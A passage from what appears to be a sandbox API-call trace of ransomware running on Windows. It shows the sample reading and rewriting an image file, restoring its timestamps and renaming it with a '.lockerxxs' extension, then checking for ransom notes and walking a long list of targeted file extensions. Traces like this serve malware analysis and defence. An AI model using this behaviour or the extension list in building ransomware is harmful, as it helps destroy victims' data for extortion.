[0065.613] lstrlenA (lpString="*.jpg") returned 5 [0065.613] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" [0065.613] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" [0065.613] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG." [0065.614] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG.lockerxxs" [0065.614] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.615] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdff [0065.615] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb5b7f600, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x5e5c1270, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb5b7f600, dwHighDateTime=0x1c747ea)) returned 1 [0065.615] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.615] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xdd9, lpOverlapped=0x0) returned 1 [0065.618] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG") returned="WHITEBOX.JPG" [0065.618] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.618] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xdd9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xdd9, lpOverlapped=0x0) returned 1 [0065.618] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.618] CloseHandle (hObject=0x98) returned 1 [0065.629] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg.lockerxxs")) returned 1 [0065.630] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4d72, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="WhiteboxMask.bmp", cAlternateFileName="WHITEB~1.BMP")) returned 1 [0065.630] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.630] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WhiteboxMask.bmp") returned -1 [0065.630] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WhiteboxMask.bmp") returned -1 [0065.630] lstrcmpiA (lpString1="", lpString2="WhiteboxMask.bmp") returned -1 [0065.630] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG") returned="WHITEBOX.JPG" [0065.630] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.630] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.630] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.630] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.631] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="WhiteboxMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp" [0065.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.ems") returned 0 [0065.631] lstrlenA (lpString="*.ems") returned 5 [0065.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.db") returned 0 [0065.631] lstrlenA (lpString="*.db") returned 4 [0065.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.dbf") returned 0 [0065.631] lstrlenA (lpString="*.dbf") returned 5 [0065.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.myox") returned 0 [0065.631] lstrlenA (lpString="*.myox") returned 6 [0065.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.myo") returned 0 [0065.631] lstrlenA (lpString="*.myo") returned 5 [0065.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.qbw") returned 0 [0065.631] lstrlenA (lpString="*.qbw") returned 5 [0065.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.qbb") returned 0 [0065.631] lstrlenA (lpString="*.qbb") returned 5 [0065.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.qbm") returned 0 [0065.631] lstrlenA (lpString="*.qbm") returned 5 [0065.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.qbo") returned 0 [0065.631] lstrlenA (lpString="*.qbo") returned 5 [0065.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.qbx") returned 0 [0065.632] lstrlenA (lpString="*.qbx") returned 5 [0065.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.qba") returned 0 [0065.632] lstrlenA (lpString="*.qba") returned 5 [0065.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.qby") returned 0 [0065.632] lstrlenA (lpString="*.qby") returned 5 [0065.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.qbj") returned 0 [0065.632] lstrlenA (lpString="*.qbj") returned 5 [0065.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.ofx") returned 0 [0065.632] lstrlenA (lpString="*.ofx") returned 5 [0065.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.qif") returned 0 [0065.632] lstrlenA (lpString="*.qif") returned 5 [0065.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.mye") returned 0 [0065.632] lstrlenA (lpString="*.mye") returned 5 [0065.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.mbox") returned 0 [0065.632] lstrlenA (lpString="*.mbox") returned 6 [0065.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.eml") returned 0 [0065.632] lstrlenA (lpString="*.eml") returned 5 [0065.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.pst") returned 0 [0065.632] lstrlenA (lpString="*.pst") returned 5 [0065.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.ost") returned 0 [0065.633] lstrlenA (lpString="*.ost") returned 5 [0065.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.idx") returned 0 [0065.633] lstrlenA (lpString="*.idx") returned 5 [0065.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.dbx") returned 0 [0065.633] lstrlenA (lpString="*.dbx") returned 5 [0065.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.sql") returned 0 [0065.633] lstrlenA (lpString="*.sql") returned 5 [0065.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.mdb") returned 0 [0065.633] lstrlenA (lpString="*.mdb") returned 5 [0065.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.fdb") returned 0 [0065.633] lstrlenA (lpString="*.fdb") returned 5 [0065.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.wab") returned 0 [0065.633] lstrlenA (lpString="*.wab") returned 5 [0065.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.dat") returned 0 [0065.633] lstrlenA (lpString="*.dat") returned 5 [0065.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.txt") returned 0 [0065.633] lstrlenA (lpString="*.txt") returned 5 [0065.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.jpeg") returned 0 [0065.633] lstrlenA (lpString="*.jpeg") returned 6 [0065.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.jpg") returned 0 [0065.633] lstrlenA (lpString="*.jpg") returned 5 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.png") returned 0 [0065.634] lstrlenA (lpString="*.png") returned 5 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.php") returned 0 [0065.634] lstrlenA (lpString="*.php") returned 5 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.cs") returned 0 [0065.634] lstrlenA (lpString="*.cs") returned 4 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.cpp") returned 0 [0065.634] lstrlenA (lpString="*.cpp") returned 5 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.rar") returned 0 [0065.634] lstrlenA (lpString="*.rar") returned 5 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.zip") returned 0 [0065.634] lstrlenA (lpString="*.zip") returned 5 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.html") returned 0 [0065.634] lstrlenA (lpString="*.html") returned 6 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.htm") returned 0 [0065.634] lstrlenA (lpString="*.htm") returned 5 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.xlsx") returned 0 [0065.634] lstrlenA (lpString="*.xlsx") returned 6 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.xls") returned 0 [0065.634] lstrlenA (lpString="*.xls") returned 5 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.mp4") returned 0 [0065.634] lstrlenA (lpString="*.mp4") returned 5 [0065.634] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.ppt") returned 0 [0065.634] lstrlenA (lpString="*.ppt") returned 5 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.pptx") returned 0 [0065.635] lstrlenA (lpString="*.pptx") returned 6 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.doc") returned 0 [0065.635] lstrlenA (lpString="*.doc") returned 5 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.dot") returned 0 [0065.635] lstrlenA (lpString="*.dot") returned 5 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.docx") returned 0 [0065.635] lstrlenA (lpString="*.docx") returned 6 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.7z") returned 0 [0065.635] lstrlenA (lpString="*.7z") returned 4 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.tar") returned 0 [0065.635] lstrlenA (lpString="*.tar") returned 5 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.bz2") returned 0 [0065.635] lstrlenA (lpString="*.bz2") returned 5 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.gz") returned 0 [0065.635] lstrlenA (lpString="*.gz") returned 4 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.mkv") returned 0 [0065.635] lstrlenA (lpString="*.mkv") returned 5 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.eml") returned 0 [0065.635] lstrlenA (lpString="*.eml") returned 5 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.msg") returned 0 [0065.635] lstrlenA (lpString="*.msg") returned 5 [0065.635] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.edb") returned 0 [0065.635] lstrlenA (lpString="*.edb") returned 5 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.accdb") returned 0 [0065.636] lstrlenA (lpString="*.accdb") returned 7 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.odb") returned 0 [0065.636] lstrlenA (lpString="*.odb") returned 5 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.java") returned 0 [0065.636] lstrlenA (lpString="*.java") returned 6 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.asm") returned 0 [0065.636] lstrlenA (lpString="*.asm") returned 5 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.pfx") returned 0 [0065.636] lstrlenA (lpString="*.pfx") returned 5 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.pem") returned 0 [0065.636] lstrlenA (lpString="*.pem") returned 5 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.p12") returned 0 [0065.636] lstrlenA (lpString="*.p12") returned 5 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.gpg") returned 0 [0065.636] lstrlenA (lpString="*.gpg") returned 5 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.vsd") returned 0 [0065.636] lstrlenA (lpString="*.vsd") returned 5 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.odg") returned 0 [0065.636] lstrlenA (lpString="*.odg") returned 5 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.raw") returned 0 [0065.636] lstrlenA (lpString="*.raw") returned 5 [0065.636] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.nef") returned 0 [0065.636] lstrlenA (lpString="*.nef") returned 5 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.svg") returned 0 [0065.637] lstrlenA (lpString="*.svg") returned 5 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.psd") returned 0 [0065.637] lstrlenA (lpString="*.psd") returned 5 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.vmx") returned 0 [0065.637] lstrlenA (lpString="*.vmx") returned 5 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.vmdk") returned 0 [0065.637] lstrlenA (lpString="*.vmdk") returned 6 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.vdi") returned 0 [0065.637] lstrlenA (lpString="*.vdi") returned 5 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.lay6") returned 0 [0065.637] lstrlenA (lpString="*.lay6") returned 6 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.mpeg") returned 0 [0065.637] lstrlenA (lpString="*.mpeg") returned 6 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.djvu") returned 0 [0065.637] lstrlenA (lpString="*.djvu") returned 6 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.tiff") returned 0 [0065.637] lstrlenA (lpString="*.tiff") returned 6 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.backup") returned 0 [0065.637] lstrlenA (lpString="*.backup") returned 8 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.pdf") returned 0 [0065.637] lstrlenA (lpString="*.pdf") returned 5 [0065.637] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.cert") returned 0 [0065.637] lstrlenA (lpString="*.cert") returned 6 [0065.638] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.docm") returned 0 [0065.638] lstrlenA (lpString="*.docm") returned 6 [0065.638] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.xlsm") returned 0 [0065.638] lstrlenA (lpString="*.xlsm") returned 6 [0065.638] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.dwg") returned 0 [0065.638] lstrlenA (lpString="*.dwg") returned 5 [0065.638] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.nd") returned 0 [0065.638] lstrlenA (lpString="*.nd") returned 4 [0065.638] PathMatchSpecA (pszFile="C:\\Program 